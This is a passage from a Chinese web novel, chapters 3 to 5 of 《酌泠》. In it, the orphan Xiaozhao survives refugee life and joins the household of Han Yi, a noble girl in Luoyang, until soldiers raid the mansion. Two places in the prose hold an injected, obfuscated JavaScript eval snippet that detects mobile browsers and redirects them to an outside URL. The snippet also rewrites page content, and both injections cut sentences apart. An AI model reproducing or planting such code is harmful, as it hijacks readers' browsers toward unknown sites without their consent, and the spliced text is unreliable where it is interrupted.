《酌泠》 3. 静女(一) 静女(一) 一年零两个月的时间里,小昭没了阿父,也没了阿母。 东苑可真大呀,络姑抱着她躲躲藏藏,天亮了才逃出去。只是络姑没有置地、没有家人,她们好不容易跑到外城里坊间,却完全找不到落脚之处。 虽无官府查问籍契,但世道太乱,家家户户紧闭门窗,等闲绝不敢收留外人。一个同样从东苑逃出来的杂役说能为她们找人家借宿,却在骗了络姑一只金钗后逃之夭夭。 络姑漏了财,不多时便被人盯上,散尽大半身家,最后只得带着小昭在里坊外难民集聚的草棚中栖身。 尚未盘算出接下来往哪里跑的时候,络姑舍不得身上藏的最后几块金子,被一个悍匪一刀砍死了。 小昭跟着几个机灵孩子去取水,回来便瞧见一群匪徒冲散了流民堆。络姑瞪着眼睛倒下,她想要扑过去,络姑却朝着她的方向嘶吼了一句“滚开”,到死也没有对她说出一句好话。 小昭在人群里藏了半日,直到夜里才哭着出来,殓了她残破的身躯。 道旁遍地尸骨,她背着轻飘飘的络姑走了半夜,将她葬入了洛河水中。 夜半雾气浓重,近水处更是鬼气森森,小昭独自坐在河边,发了许久的呆。 她想起东苑中美人的歌谣……自古皆有死,但何为“死”? 死去后,众人还能团聚吗? 如果能的话,只要她狠下心来,往前迈一步,就可以跟阿父、阿母团聚了。 可是阿母当年便是在洛水的沟渠中捡到了她,若是此时离去,年轻的阿母何苦捞起涟漪中的婴孩? 她答应过阿母,一定会好好活下去,她会找到全天下最安稳的地方,活到一百岁。 然后告诉阿母,她没有食言。 小昭揪着衣带——几日风餐露宿,她身上那件雀蓝披风已变得脏污一片,湮灭了原本的颜色。 幸亏它不是当初簇新染香的模样,要不然她恐怕连这最后一件御寒的衣物都留不住。 一阵寒风忽然袭来,将她面颊上的泪珠吹得冰凉,小昭怔然伸手,拂过未干的泪痕,打了个激灵。 似近似远的地方传来飘渺的挽歌,不知是不是有与她一样的人在怀悼亲人,小昭屏气听了半晌,一句都没有听清。 她一边听,一边想起,阿母曾在枕畔为她读陈思王的《洛神赋》,赋中说洛水中有惊鸿般美丽飘逸的神灵,他曾见过,精移神骇。 若能遇见那美丽的洛神就好了,她一定能告诉她,该往何处去。 小昭爬起身来,拍了拍手心的尘土。 夜中起了大风,将空中漂浮的哀歌混在一起,遥闻如同鬼哭。小昭拢紧了外袍,逆着风朝来路艰难走去。 * 大风莫名其妙地刮了五日,将天空刮得一尘不染、澄澈明净。 在风停的那一日,小昭遇见了来外郭施粥的韩女公子。 络姑死去后,她病了一场,幸得几个同龄孩子和一个好心妇人接济,喝了几口水,发了一场汗,便恢复过来。 刚刚清醒就听说,内城中的皇帝发善心,开了粮仓,遣人赈灾。 士兵们将草棚围起来,每日在固定时辰发放吃食。不过如今时节,皇帝尚且自身难保,安置流民更多是为了防止生乱,赈灾的饼子不是发霉,便是硬得像石头。 只有韩氏那位年少的女公子来时,众人才能喝上稠一些的白粥。 起先,大家颇为感念,只是韩女公子整日笑吟吟的,轻声细语,还时不时咳嗽,看着比那些粗鲁的兵好欺负许多。 于是她第三次来时,便有人掀了施粥的摊子,质问她主管赈灾的父亲为何不妥善安置众人,这几日已有人冻死饿死了,凛冬将至,长此以往还了得? 人群一下子乱了起来。 士兵横矛逼退、大声呵斥,却无济于事。小昭正好捧着缺口的陶土碗等待盛粥,尚未明白发生了什么,一个粗鲁汉子便越过士兵,直直向韩女公子扑了过来。 情急之下,她本能地劈手夺了韩女公子手中的长柄木勺,在那人的虎口处重敲了一下。 那汉子吃痛,长刀就此脱手,小昭搁了手中的碗,稳稳地接了那把刀,挑他的领口:“你不是流民。” 她好久没有握刀了,饿了这几日,居然不算手抖。 汉子嘴硬道:“谁说我不是?” “此为官刀,从何而来?” “方才趁乱捡的……她父亲如此苛待我们,你居然帮着她!” “你外裳下是新衣,领口洁白,一尘不染。”小昭不答他的话,只道,“况且,此刀与周遭士兵所持看似相同,刃却薄了许多,非战争之器,更似行刺之器。” 被她戳穿,那汉子恼羞成怒,又见她未至束发之年,不免轻视,梗着脖子便要来夺刀。小昭将手中的刀向上一抛,换手反击,兵士们趁机一拥而上,将他捆了个结实。 经此一变,躁动的人群也渐渐平静了下来。小昭扔了刀,将长勺递回,韩女公子双手接了,忽然朝她深深一揖。 她周遭的家丁急道:“女公子怎可向贱民行礼……” 韩女公子不理会,只扬声道:“拜谢女郎救命之恩,也请诸位听我一言。” “连年大旱,陛下仁厚爱民,已先后赈灾多次。城中利益勾连,讨粮不易,我父四处周旋、分身无暇,并非有意苛待,他还遣我来到此地,以表珍重。不知此处有许多不周到,我这便去见父亲,将情形详细告知,请诸位暂且忍耐,我父既领赈灾重任,韩氏义不容辞,必不辜负!” 她直身再拜,众人见她态度谦卑,又得知先前挑动之人别有用心,纷觉无趣,不多时便重新老实排起队来。 韩女公子的仆役带着被抓的刺客先行,而她特意来到了小昭面前:“此人将被投入牢狱受审,劳烦女郎同行,为我做个人证罢。” 就这样,小昭稀里糊涂地入了韩氏府邸。 说是稀里糊涂,是因入府后并无人寻她去问话,带路的仆妇径直将她领到了后宅,为她焚香沐浴,还捧来了崭新衣袍。 有了先前被东苑老者拐骗的经验,小昭心怀警惕,更衣时将桌上的发钗藏到了衣袖中。 侍女引她来到韩女公子的闺阁。 韩女公子换了流光暗纹的深青直裾,腰间垂一串沉甸甸的佩玉,闭目端坐,乌发红唇,比她见过的所有女子都要美丽沉静。 傅母正提着香炉为她两袖熏香,见小昭进门后无动于衷,便忍不住道:“进门后要先行礼,才能同女公子说话。” 女公子为她所救时对她行了礼,如今回礼,也算是答谢新衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659488|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和沐浴之水罢。 小昭学着方才韩女公子的样子,严肃地退了一步,双手举过头顶,冲她深深一拜。 韩女公子睁了一只眼睛看她,没忍住“扑哧”一声笑了出来。 她示意不满的傅母暂退,等傅母走远后,拉着小昭在身侧坐了下来。 “你多大了?” 她周身弥漫着醉人的香气,不同于东苑小楼中常焚的甜香,这香气芬芳雅致,带些清冽气,论起来倒很像那夜所得的雀蓝披风上的味道。 当时急促,她本以为自己忘了个干净,如今重嗅,仍觉得温暖和安全。 小昭鬼迷心窍一般,松了握着发钗的手,呆滞答道:“我……快十岁了。” “这么小?比我还小呢,我马上就要十四岁了。”韩女公子惊愕道,“那你叫什么?” “我叫小昭。” 对方沉吟片刻,没有询问她为何没有姓氏:“是哪个字?白日之‘朝’?” “是日光明亮的那个‘昭’。” “哎呀,好大的名儿……”她又凑近了些,笑道,“我叫韩仪。” 没等小昭答话,韩仪便道:“我身边缺个会打架的人,你要不要跟着我?父亲不肯为我寻女侍卫,家兵多有不便,况又粗心,府里的女孩子们爱漂亮,都不愿学刀剑。” “跟着你可以吃饱吗?” 小昭脱口而出,思索后又急急问:“你是不是住在内城?” “当然可以了,”韩仪拨了拨她垂下的发丝,耐心地回答了他的问题,“对呀,这里是韩氏在城外的宅子,我平日住在城墙内的府邸里,那儿不会有人吃不饱的。” 小昭又迟疑地问:“那……城里是不是很安稳?” “自然,”韩仪毫不犹豫地答道,“洛阳内城,天子脚下,是全天下最安稳的地方。” “好!”小昭立刻应允下来,生怕她反悔,“女公子需要我要做什么?” “先放下袖中的‘兵器’罢。” 韩仪笑着拽了拽她的袖子,她好似早就看出来了,只是没有点明:“不急,今日是取巧,若放在平时,你恐怕不是那个刺客的对手。想跟着我,得先苦练一番,你怕吃苦吗?” “不怕!只要吃得饱,能安稳地活着,就不怕。” “太好了!对了……你还会别的吗?读过书没有?” “读过,我认字的,我还会跳白纻舞、唱相和歌辞,我会的很多!只是……不会弹琴。” 她歌舞读书学的都快,唯独在音律上不开窍,教习的老翁本欲教她弹琴,教了许久也不见成果,只得悻悻作罢。 韩仪忍俊不禁:“这都是谁教的,你从前……” 她话说了一半,忽然住了口,摸了摸她的脑袋:“罢了,等相熟了再说罢。” 她将傅母唤回,飞快地编了一套说辞,称小昭是弘农的贵女,遭祸才流落此地。傅母先前不信,但听她说得真切,不由得信了三分,忙下去为小昭准备衣食,又说带她回去要禀报家主云云。 小昭被她拉走前思及先事,忙问:“女公子不要我作证了么?还有,你在粥棚前说……” “那种话你也信?”韩仪打了个哈欠,笑眯眯地道,“我不说那些话,闹起来怎么办……且你以为,若是我阿父肯管,还用得着我去请?” 4.静女(二) 静女(二) 偃师与琅琊的韩氏两支官宦辈出,也算是望族,如今族中主事之一正是韩仪的父亲韩衷。韩衷官拜尚书,近日领赈灾诸事,忙得不可开交,听闻女儿遇刺,也只是草草问了几句便离去了。 小昭跟着韩仪,来到了真正的“洛阳城”中。 并车从建春门入,转过永安里、遥望宫苑城墙,又自铜驼街过,横穿了大半个内城,小昭因此得窥城池全貌。 这是一个连阿母都少见的洛阳城——邙山飘渺的影子下,金镛城、华林园和北宫巍峨耸立,神仙府邸般的重门高宅沿着铜驼街依次排开,偶有金车经过御道两侧,声如雷霆乍惊。 长街两侧对种槐柳,虽非春日,碧色葱茏。 前朝城中曾遭大火焚烧,如今火焚痕迹已尽数消失,南宫的废墟上也兴建了新的殿宇。 护城河内平民稀少,多的是贵人和他们的仆役。 秩序森然、楼台高筑,不见尸首、不闻啼哭,就算小昭居于车中,也不自觉地屏气凝神,声音都放轻了许多。 所幸,韩氏的后园是一个与此全然不同的世界。 朝中官员宅邸多在内城之外,城墙之中官署林立,只立十余座居所,物以稀为贵,凡内城住宅必为高门华屋,斋馆敞丽、楸槐荫途。韩氏府邸位于西明门和广阳门之间,是先君赐住的前朝宅院,虽不如当朝重臣所居处富贵无极,也算矜贵雅致。 小昭跟着韩仪穿过前厅,一路低垂着头,如在东苑一般谨慎小心。韩仪将她领到自己所居的后园,见她情状好笑,拍了拍她的肩膀。 她抬起头来,立刻被人伸手捏了捏脸。一群后园的婢女围了过来,在她耳边叽叽喳喳。 “女公子又领小女郎回来了。” “生得好讨人怜,你几岁了?” “……” 众人热情非凡,将她挤得寸步难行。韩仪在人堆外毫不在意地冲她挤了挤眼睛,自顾回房去了。 小昭没有见过旁的士族女公子,不知她们是什么样,只觉韩仪与她印象中的“贵人”截然不同。 她不像来村中收租的兵士般不讲道理,不像银花服侍的县令般趾高气昂,更不似她在东苑遇见的少年般暴戾嗜杀。 她总是笑吟吟、懒洋洋,同府中所有女孩子都能玩笑。每月朔望,韩氏开宗祠祭祀,未嫁女不必参与,韩仪便偷偷将众人唤进后园书房,侃侃而谈。 她书房中悬了一张巨大的毛毡,是偷偷请韩衷副官所绘的天下幅员图。小昭从那幅图中找到了自己的家乡——它是洛水边某座山下小小的村庄,隶属弘农郡,与洛阳相隔三日路程。 然后,她仰头看去,心神震颤。 从这副图里、从韩仪口中,她得知,这天下之大,不止毛毡所绘之地;江河之多,不仅洛河上下支流;人畜之众,不在咫尺方寸之间;青史之厚,更不是一朝一夕可窥得全貌。 头顶有千年的星辰,脚下有万古的寒灰。 她第一次置身于世间万象中,感受到了自己的存在及渺小。 但并不是所有来到后园的女孩子都像她一般,对这些没什么用处、离自己很远很远的事感兴趣。 韩仪握着小昭的手去认那地图时,大家昏昏欲睡,等韩仪讲完了,提及最近时,她们才活跃起来。 “女公子,府君何时再给你议亲?” “上回相看的何氏好像被牵扯到叛乱中去了,不过齐氏公子也不错,与女公子很是相配呢。” “……” 韩仪笑着驱散了众人,只留下了疑问颇多的小昭。 “你想知道你家乡的乱兵来自何处?这恐怕要说上很久。” “既然你想听,那好罢……” 韩仪为她讲了接近两个时辰,有些话她虽未听懂,却牢牢记在了脑中。 当今天子登基时便身弱有疾,幸而有一位极能干的温皇后代摄朝政。皇后掌内廷期十年,四海太平,史称“宜丰之治”。 只是好景不长,皇后因长期操劳骤生恶疾,在宜丰十年的末尾病逝了。 皇城中当即爆发了政变,政变绵延半年,皇后长女始宁被放逐至藩地,储君遭毒害目盲,天子的病情雪上加霜。统管禁卫的梁王借机摄政,引得诸王不满,天下大震。 边地与藩国至此屡生叛军。朝中世家专权、各自为政,镇压无力,禁宫又内乱频生,宫墙之内,风声鹤唳。 争斗本未殃及平民,只是时运不济、岁逢大旱,诸王借此纷刺梁王越俎代庖,引得上天震怒。 终于在元康二年,扶风王冯凭借胡兵之力,不经宣召便从藩地直入洛阳,杀梁王而代之。 他一路烧杀抢掠以充军用,致使洛水以西血流成河。 饥荒和兵燹开始蚕食众生,不知何日休止。 听到这里,小昭不禁攥紧了手指。 就是这位扶风王手下的军队……经过了她的家乡。 冯凭杀梁王后堂而皇之地矫诏辅政、独断专行,还在洛阳大肆敛财。冯凭先例,诸王欲效,只是扶风私兵残暴好战,未有十足胜算,不敢轻举妄动。 过了战战兢兢的一年后,城中几位大臣联合了蠢蠢欲动的赵王,以武库大火为信,起兵逼宫,以期“清君侧”。 计划落空。 赵王手下告密,起事被冯凭觉察,及时镇压了下去。 这是几年来洛阳最大的兵变,事后,冯凭暴怒,从事者皆遭夷族。不少朝臣都辞去官职,带全家撤回了原籍。 东苑那场火,便是这场兵变的结果。 东苑之主乃新都凌氏,凌氏为开国功勋之后,凌公军功等身,又因掌握西南之地,富可敌国,冯凭觊觎良久。赵王变乱后,东苑无名火起,烧了半夜,后冯凭借口搜查余孽,将残址遗存掠夺一空。 凌公在东苑身亡,凌氏子侄皆因这场火加官进爵,以示“天恩”浩荡。至于这把火究竟是赵王叛军所放,还是冯凭自导自演,无人细究,也无人敢究。 镇压赵王后,冯凭愈发肆无忌惮。自封大司马、侍中、持节,剑履上殿、赞拜不名,权势显赫,更胜当年入朝之董卓。 “谁也不知能太平多久,火有一日会不会烧到自家门前。” 韩仪言罢,良久无语,见小昭眉头紧锁,便笑了一笑:“不过小昭放心,父亲是最圆滑之人,绝不会引火烧身。” 小昭则道:“女公子亦不必担忧,韩氏的宅邸墙高沟深,又有家兵,真有火也能即刻扑灭的。” 韩仪失笑道:“是啊……” 她抚图长叹,良久才回过神来,转移话头,同小昭说了一桩趣事。 武库和东苑着火的那夜,西郊的广润寺也莫名其妙地燎了前院。正殿分毫未伤,大火烧尽阶前芳草,露出了许多半陷的碎石。 宫中着人挖出拼凑,发现那碎石竟是一块古碑。碑上字迹模糊,冯凭宣称此为祥瑞,颁诏说可解者赏千金,引得海内方士、相师都来了洛阳。 小昭听到这里,不禁开口:“他们应该比民间的相士算得准些罢,当年有一位相士见钱眼开,对我阿父说我以后能做惊天动地的事,都是骗人的。” 韩仪终于开怀,笑弯了腰:“不一定是骗人的,谁说小昭以后做不了惊天动地的事?” 临走前,小昭问韩仪:“自我入府,后园书会已有三回了,可是阿妙她们都不爱听,女公子何必一趟一趟叫她们来?” 韩仪端坐着,看向门外,一时没有答话。 初秋风至,吹得她鬓发飞扬。小昭透过纷乱的青丝去看她的眼睛,还没看出什么,她便转过头,微笑答道:“她们自小长在韩氏府邸当中,就算不在这里长大,父母所教、周身所闻都是婚丧嫁娶、服侍主人,不爱听也寻常。我讲多了,总会记住的,哪怕记住一点点也好……再说,你不就很爱听吗?” * 相处久了,小昭发现,府中被韩仪“捡回来”的女孩不独她一人。众人因饥馁、兵乱、丧亲流落在外,她施以援手,带合意的女孩子回来悉心教养。起先还有人疑心她心思不纯,后来时日渐长,这些质疑便也消弭无声了。 只是韩仪的父亲韩衷并不喜她如此行事,对她出门施粥亦颇有微词,就算她三言两语打消了一场暴乱,韩衷也未给予一句夸赞。 “女子当温雅贤淑、自矜身份,你收留贱民在府中便罢了,还言行不当。若你安分守己,留在闺阁中待嫁,那与韩氏有仇的刺客焉有机会对你下手!当初便不该叫你读书识字,尽习得你母亲的离经叛道,长此以往,还有哪个家族肯同你议亲?” 韩仪在家祠之前跪了一个时辰,小昭背她回来,陪她坐在廊下赏园中的秋色。 “小昭,你最近学了什么?” “近日在学拉弓射箭,我初去时他们嫌弃我是女郎,不肯教我,后来我跟大家打了几架,就好了。统领还说我根骨奇绝,又有基础,是块好料子。” “真好,你带剑了吗?能为我舞剑吗?” “好!” 为叫韩仪高兴些,小昭没有使自己最惯用的朴素招式,刻意耍了些花招。她的新剑是韩仪从库里寻来的古物,存世百年,剑光却耀目如电。 仲秋时节,园中落叶堆积,银杏如黄金染就,枫叶似艳红火烧。剑气激起层层落叶,小昭十分专心,许久之后才看清漫天飞叶后韩仪的表情。 这次她看清了她的眼睛。 她定定地看着她,又似没有在看她,眼神少见地不带一丝笑意,反而带着一种寂灭的空无。小昭收了剑,在她面前半蹲下来,还没有抬头,就感受到有泪滴在了自己的手背上。 她有些不知所措地问:“女公子,你落泪了吗?” 泪滴滑落,韩仪却笑了起来:“我落泪了吗,我也不知道。” 小昭还没有说话,韩仪便道:“你舞得真好,若不是自小体弱,阿父又不许,我也想学些刀剑功夫。” 小昭道:“不独有刀剑,世间的兵刃无数,轻巧的更多,哪日闲暇,我亲手去为女公子打一把。” “阿妙她们都很喜欢你,说你会讲故事,还会许多稀奇古怪的玩意儿,没想到你连这个也会?” “我会的可多了,不只有这个呢!” 韩仪支着手,怔然道:“阿母是因产难去世的,妹妹也是落地便没了气息。她若能活下来,像你一样就好了。” 这之后,小昭因识字多,在训练之余常来韩仪的书房。韩仪带她去族学所在的小阁,偷书回来读。 ——之所以要偷书,是因族学中的书籍与韩仪书房中所陈截然不同。她书房中摆着《女诫》,还有小昭在东苑也读过的《诗》《礼》和各色古诗章句,而族学中除此之外,更有儒道佛经、传世史书、兵策诡道。 小昭边翻书边感叹道:“我从不知,‘读书’竟也有分别。” 韩仪亦道:“因我是女子,阿父便只想叫我读仪礼规矩、雪月风花,他同你从前的教习、主人又有何分别?天下 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众人围坐在榻前,衣襟半开、瘦腰散束,面容涂得比韩仪还要雪白。堂中酒气芬芳,有人奏乐、有人舞蹈、有人辩论,还有人躺在席边,不知吸食了什么,整个人飘飘欲仙。小昭与他一眼对上,吓了一跳,谁料对方眼神迷离,根本没有瞧见她。 她将所见告诉韩仪,韩仪叮嘱她离这群人远一些,他们醉酒时以舞剑杀人为乐,杀了人还不记得,很是可怕。 韩仪还道:“你可不要学他们,瘦得只剩一把骨头,平素多吃一些,勿忌荤腥,吃不饱,哪来的力气舞剑?” 小昭深以为然。 少时她就因力气大被村中众人称赞,从家乡逃至洛阳的一路上,饥肠辘辘,若非从前强壮,她和阿母早便成为了道旁白骨。 还有一日,韩仪带小昭去西外郭施粥。 听闻广润寺那块碎石碑一直无人能解,但谁能借此让你大司马开怀,便能得丰厚赏赐,更有甚者一步登天、加官进爵。天下方士听闻,至今仍在源源不断地向洛阳奔赴。 这日粥尽后,小昭陪同韩仪走向停在一射之外的并车,却在道中被一个粗布褐衣之人拦下,那人自称是落魄相师,向她讨要吃食。 虽说他看起来不似挨饿之人,小昭还是掏出随身揣着的一个饼子扔给了他,相师接了饼子后,并未吞食,只是定定地看着小昭道:“蒙女郎恩惠,我有几句话要对你说。” 韩仪颇有兴致:“什么话?” 相师转身看了她一眼,忽然摇头,自顾叹道:“青春年少,白骨红颜,可叹,可叹哪。” 韩仪面上笑意一僵,小昭听出不是什么好话,拉着她便想离去,韩仪却站立不动:“听他说完。” 相师伸手指着小昭的额头,定定道:“女郎气色虚白、眼色幽深,一生必丧服哭悲、多情多疑;又有高眉中断,主恩成仇隙、鳏寡孤独。此乃天下第一孤克之相,亲近爱怜者多逢百罹。千年寥落,万岁孤身!” 韩仪冷冷打断:“一派胡言。” “然而——” 他并未理会,连目光都不曾挪开一分:“你眉宇紫气萦绕,顾盼不斜。这龙目凤睛,分明是大贵之相,又见眉尾锐利,目光虽深而淬火,主冲动杀伐;神彩光辉,望之巍巍然,必长寿无病,天禄永其终矣。” 不等韩仪再次开口,小昭便“唰”地拔了腰侧佩剑,指向相师喉间,嘲道:“胡言乱语,前后不通,若我长寿无灾,怎会鳏寡孤独?讨赏便讨赏,妖言惑众,莫非别有用心?” 两年来,她吃得饱饭、睡得安稳,个头长了不少,先前因失去双亲所染的悲苦和瑟缩气也不知何时一扫而空。韩仪顺着长剑看去,日光下女郎高束马尾,发丝染金,任风飞扬,一双眼睛明亮锋利,带着与出鞘剑气相似的少年锐意。 刀枪剑戟间淬出的火光,点燃简帛书册中不朽的真章,竟烧出这样一副模样来。 颈间冷铁森然,相师却掂了掂手中的饼子,自顾道:“你今后当如今日,多多怜贫恤孤,更积贵德,假以时日……” 他说到这里,突然回过神来,笑着弹了弹她的剑:“女郎说我前后不通,有何不通?丧服乃他人之丧服,长寿却是自己的长寿。我夜观天象,太白经天,新星曜升于洛水之阳,没想到……” 他退后一步,避开小昭的剑锋,抬手啃了一口手中的饼子,竟然转身走了,连话都没有说完。 小昭想追,被韩仪拦下:“女公子,他这一堆疯话……” 韩仪道:“罢了,通天之人总是性情古怪,随他去。” 又扫视一圈,对周遭几个侍女和家丁冷道:“今日言语,一字都不许外泄。” 众人少见她如此庄重的模样,纷纷答道:“是。” 夜里韩仪睡不着,叫小昭过来聊天,小昭举着烛台,趴在她的榻前,听见她问:“小昭,你相信天命吗?” 小昭哈欠连天地摇头。 “你不信?” “我不知道,这样玄之又玄的东西离我太远了,我为什么要相信、或是不相信?” 韩仪沉默许久,再想开口时,小昭已歪在她身侧睡着了。 她为她掖好被角,从枕下摸出了一块冰凉的四象蟠螭玉佩。 韩仪握着玉佩,呆坐了许久,窗外细雨忽起,惊风撞入,吹熄了纱帷外飘忽的烛光。 5.静女(三) 静女(三) 春寒料峭时,韩仪又病了一场。 那一场兵变后,冯凭以雷霆之势清洗朝堂,杀鸡儆猴,赵王受尽酷刑而死,与他共同举事的大臣尽遭族灭。城东的马市日日行刑,杀了两三个月才平息下来。 有心反对的朝野诸臣见此先例,皆喏喏不敢再言。 洛阳城迎来了暂时的平静,两年内未生大乱。 韩氏府邸乃前朝宠宦所建,最高的建筑是西南角一座四丈小楼,名为“思过”。自年初,韩仪执意建立一支女子部曲,与韩衷大吵一架后,便被禁足于思过楼,训练之事皆由小昭督行。 小昭照例在入夜时分登楼,见韩仪斜倚在隐囊上,边喝药边问:“可有人为难你?” 这夜温暖,韩仪所居楼顶尚未闭门,小昭拨了拨被春风吹动的头发,认真答道:“听闻是女公子要做的事情,无人为难我,首领甚至帮着隐瞒了府君,不过……” 她顿了一顿:“阿妙她们都被唤去为女公子预备嫁妆了,府君说,过了这个春天,女公子就必须要出嫁了。” 韩仪低嗤一声,尚未启唇,窗外适时传来一阵幽远的乐声。小昭本欲去关门,听见声音却顿住了脚步:“女公子,你听,又是那乐声。” 韩仪搬到思过楼后,小昭总能在楼顶听见这凄婉的乐声。乐声穿过阴森诡异的夜幕,回荡在整座洛阳内城中,若屏息凝神,或许还能听见风中夹杂着的哀哀恸哭。 “是谁在夜半弹琴?” “不是琴,是琵琶。” “乐声哀戚,为何无人制止?” “如今大司马除去了心腹大患,夜夜睡得安稳,自然听不见夜半琵琶语。况弹奏者居于城内,想必是达官显贵,除了皇城中人,谁敢擅动?” 药已饮尽,韩仪抽了块帕子擦拭,调笑道:“名士嵇叔夜曾宿华阳亭,得曲《广陵散》,夜夜醉弹,不知此夜弹奏者,是否与他有同样心绪?” 小昭有些丧气地道:“可惜我生平与音乐无缘,若非如此,也能弹琴给女公子听。” 韩仪摇头:“奏乐不为娱人,是为悦己。不过……你虽不通乐理,与那嵇叔夜却另有兴趣相投。” 小昭好奇:“是什么?” 韩仪悠悠道:“嵇叔夜常与友人在竹林间聚会,不饮酒时,便挽袖打铁,火花四溅,传为美谈。” “他身为名士,竟会打铁!” “世人眼中的名士……或许便是无所不明、无所不能的罢。” “那我也想做名士。” 听了这话,韩仪却沉默下来,良久方道:“你不要做。” “为何?” “名士得名而不出仕,不过是待价而沽罢了,小昭——”韩仪忽然唤她,“你有志向吗?” 小昭认真想了许久,没有回答,只是反问:“人必须有志向吗?” “自然,愁莫大于无志,你在书中,不是读了很多么?”韩仪道,“就算不曾读书,你年幼时,难道没有想过以后?” “我不想,”小昭答,“阿母对我说过,只要我找得到传闻中的好地方,就什么都不用想。如今我受女公子庇护,活在这么安稳的府邸里,已经足够了。想以后,就不免想起从前——我不愿意想起从前。” “可是从前,并不你不愿意想,就不存在,以后也是。”韩仪静静地看着她,“你还记得我们一起去偷书的时候吗?那时我也说过,书中的字字句句都是恒久的,并非我们不去读,就不存在。” “你是愿意通晓道理而痛苦,还是愿意蒙昧地活着?” “当然要通晓道理!我虽相信阿母的话,却不是傻瓜。只是……了结了从前,才能有以后,”小昭揪着自己的衣袖,“了结从前,就要去恨我根本不可能撼动的东西,恨到最后也是枉然,不会有结果的。” 韩仪觑着她的神色,朝她伸出了手。 小昭顺势握住她的手,听见她温声说:“算了,不愿意去想就不想了,现在撼动不了,还有以后。你记不记得,我和相士都说过,小昭长大了,一定能做惊天动地的事。” 案上的灯燃尽了,窗外的琵琶声愈幽远。 * 韩氏府邸上下都忙碌于韩仪即将出嫁一事,几位公子那烟雾缭绕的聚会也少了许多。这日阿妙神神秘秘地来寻小昭,却发现她正在院中磨一把短剑。 “女公子的嫁妆单子点不过来,咱们几个只有你识字最多,怎么不去帮忙!”阿妙跳到她面前,好奇道,“这是什么?” “给女公子的生辰贺礼,”小昭答,“她生辰就在春分,没几日了。” 阿妙怯怯地伸手摸了摸短刀的刀锋,嫌弃道:“这短剑怎么什么花纹都没有,这样丑……啊,倒是锋利得很。我记得你很久之前就开始准备贺礼了,怎么不镂刻些纹路上去?” 小昭笑笑:“女公子不在意这些。” “女公子不在意的多了,她都不在意生辰,夫人……就是在她生辰这日去的。”阿妙唉声叹气地道,“对了,府内从不开生辰宴的,女公子也不收贺礼,你怎么忘了?” “我没忘,”小昭端详着手中的短剑,“只是……” 见她迟迟没有下文,阿妙便不再追问,只是压低了声音道:“罢了罢了,你猜我昨日从堂前过,听见了什么——府君在和傅母商议,说女公子没有姊妹,族中适龄女子又少,要在府中遴选一位侍女,与女公子一起过去,充作媵妾!我仔细打听了,说是同她要好的才行,你说,女公子会挑谁去?” 小昭不语,阿妙不满地摇她的胳膊:“与女公子最好的就是你了,你不想去?那可是做陪媵,不是做婢子,挑中了便不是下人了。” “我肯定是要跟着女公子的,”小昭对着剑锋吹了一口气,“不过如今朝廷混乱,人口查得稀松,后园中许多女孩子都没有身契,哪里算得上‘下人’?” “不算下人,还能算主人不成?”阿妙恨铁不成钢地道,“你不知道,齐氏后宅乱作一团,几位公子都好男风,虽说那小齐公子名声尚佳,是浊中清流,但身处其中,保不准是什么样子呢。下人不下人先不说,做媵妾,更好帮女公子立足啊,你比我还小两岁,又生得好、会读书、讨人喜欢,怎么一点心气儿都没有?” 小昭装作未闻,专心地观察着手中的短剑,确认无误后,她反手挽了个剑花。短剑“唰”地一声晃过阿妙面前,割断了她几根碎发。 “啊,你吓唬我!” 阿妙吓了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687095|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大跳,她站起身来,气鼓鼓地道:“我告诉女公子去!” 小昭在她身后笑个不停:“吓你这么多次了,你的胆子怎么还是这么小?” …… 等到春分那日,嫁妆准备得齐全,思过楼下金光璀璨、红绸飘舞,望之可喜。 韩仪的病却丝毫不见好转,连带着人都瘦了一圈,府中请了许多杏林圣手来瞧,无济于事。 府内纷传韩仪是不想出嫁、刻意装病,先后好多人跑到小昭跟前探听,小昭装傻应对,把人都挡了回去。 她揣着打好的短剑路过韩氏后园,园里修剪花草的老翁在亭中瞌睡,侍卫三三两两地聚集聊天,门前的女婢朝她招招手,也忍不住打了个呵欠。 春分的夜里,柳絮柔弱无骨、飘来荡去,花树的阴影遍布地面,芳草鲜美,踩之微微下陷,温柔和软。 思过楼的一层没有点灯,嫁妆堆满了,她摸索着,曲曲折折地绕过去,正欲登楼,忽然耳朵一动。 韩氏府门沉沉,需多人齐开,磨砺地面,钝响粗重,她敏锐地听见了遥遥的震声。 深夜时分,这是为谁开了中门? 小昭怔愣片刻,三步并作两步地登了楼。韩仪被她惊醒,赤脚出门,扶着勾阑在眺台上远望。 二人瞧见一群士兵举着火把冲了进来,将府邸团团围住,封锁大门。为首的男子高骑黑马,手中面上覆一银色面具,月下折射出惨然的亮光。 近日韩衷出城公干,已有十日不曾回府。 府中没有主君,而楼下的士兵,显然是不速之客。 小昭眼看着一位年老的管事上前,同那为首者说话,三句不到,男子淡然拔出腰侧佩剑,割断了他的喉管。 有人大声尖叫起来。 柳絮仍在空中安详地、从容地飘舞。 这本是一个温柔恬静的春夜。 小昭几乎不敢相信自己的眼睛。 不过片刻,她反应过来,拉住身侧的韩仪,飞快往楼下跑去。 ——来者不善,先走为妙! 虽说士兵围了府邸,但她轻车熟路,总晓得几处不为人知的小门。 两人还没下楼,便迎面撞上了韩仪满脸惊慌的傅母。 